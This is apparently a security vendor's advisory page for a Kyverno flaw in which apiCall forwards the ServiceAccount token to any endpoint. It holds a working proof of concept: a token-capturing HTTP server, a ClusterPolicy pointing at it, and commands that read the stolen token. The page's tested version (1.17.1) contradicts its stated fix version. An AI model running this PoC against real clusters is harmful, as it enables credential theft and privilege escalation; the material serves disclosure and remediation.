GHSA-8WFP-579W-6R25

GHSA-8WFP-579W-6R25 is a high-severity security vulnerability in github.com/kyverno/kyverno (go), affecting versions < 1.17.0. It is fixed in 1.17.0.

Summary

Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.

The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.

Details

Kyverno's apiCall executor (pkg/engine/apicall/executor.go) reads the ServiceAccount token from:

/var/run/secrets/kubernetes.io/serviceaccount/token

and injects it into every HTTP request as:

Authorization: Bearer <token>

This occurs when no explicit Authorization header is defined in the policy.

Root cause

if req.Header.Get("Authorization") == "" {
    token := a.getToken()
    if token != "" {
        req.Header.Add("Authorization", "Bearer "+token)
    }
}

This logic introduces several issues:

  • Implicit credential forwarding to arbitrary endpoints
  • No trust boundary validation (external/internal distinction)
  • Undocumented behavior
  • Header.Add instead of Set allows duplication
  • No token sanitization (potential trailing newline)

PoC

Preconditions

  • Kyverno installed (v1.17.1 tested)
  • A policy using apiCall.service.url

Step 1, Deploy capture server

kubectl run capture --image=python:3-slim --restart=Never -- \
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
 def do_GET(self):
  print(self.headers.get('Authorization'), flush=True)
  self.send_response(200)
  self.end_headers()
http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()"
kubectl expose pod capture --port=8888

Step 2, Create policy

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: token-leak
spec:
  rules:
  - name: test
    match:
      any:
      - resources:
          kinds: ["Pod"]
    context:
    - name: r
      apiCall:
        method: GET
        service:
          url: "http://capture.default.svc:8888"
        jmesPath: "@"

Step 3, Trigger

kubectl run test --image=nginx

Step 4, Observe token

kubectl logs capture

Output:

Authorization: Bearer <SA_TOKEN>

Vulnerability class

  • Credential exposure / leakage

Impact details

  • Exposure of Kubernetes ServiceAccount token
  • Token grants:
    • Full control over Kyverno policies
    • Ability to create/delete webhooks
    • Read cluster-wide resources
    • Privilege escalation and persistence

Impact

GHSA-8WFP-579W-6R25 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.17.0); upgrading removes the vulnerable code path.

Affected versions

github.com/kyverno/kyverno (< 1.17.0)

Security releases

github.com/kyverno/kyverno → 1.17.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade github.com/kyverno/kyverno to 1.17.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-8WFP-579W-6R25? GHSA-8WFP-579W-6R25 is a high-severity security vulnerability in github.com/kyverno/kyverno (go), affecting versions < 1.17.0. It is fixed in 1.17.0.
  2. How severe is GHSA-8WFP-579W-6R25? GHSA-8WFP-579W-6R25 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/kyverno/kyverno are affected by GHSA-8WFP-579W-6R25? github.com/kyverno/kyverno (go) versions < 1.17.0 is affected.
  4. Is there a fix for GHSA-8WFP-579W-6R25? Yes. GHSA-8WFP-579W-6R25 is fixed in 1.17.0. Upgrade to this version or later.
  5. Is GHSA-8WFP-579W-6R25 exploitable, and should I be worried? Whether GHSA-8WFP-579W-6R25 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-8WFP-579W-6R25 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-8WFP-579W-6R25? Upgrade github.com/kyverno/kyverno to 1.17.0 or later.

Other vulnerabilities in github.com/kyverno/kyverno

CVE-2026-41485CVE-2026-41068CVE-2026-4789CVE-2026-40868CVE-2026-23881

Stop the waste.
Protect your environment with Kodem.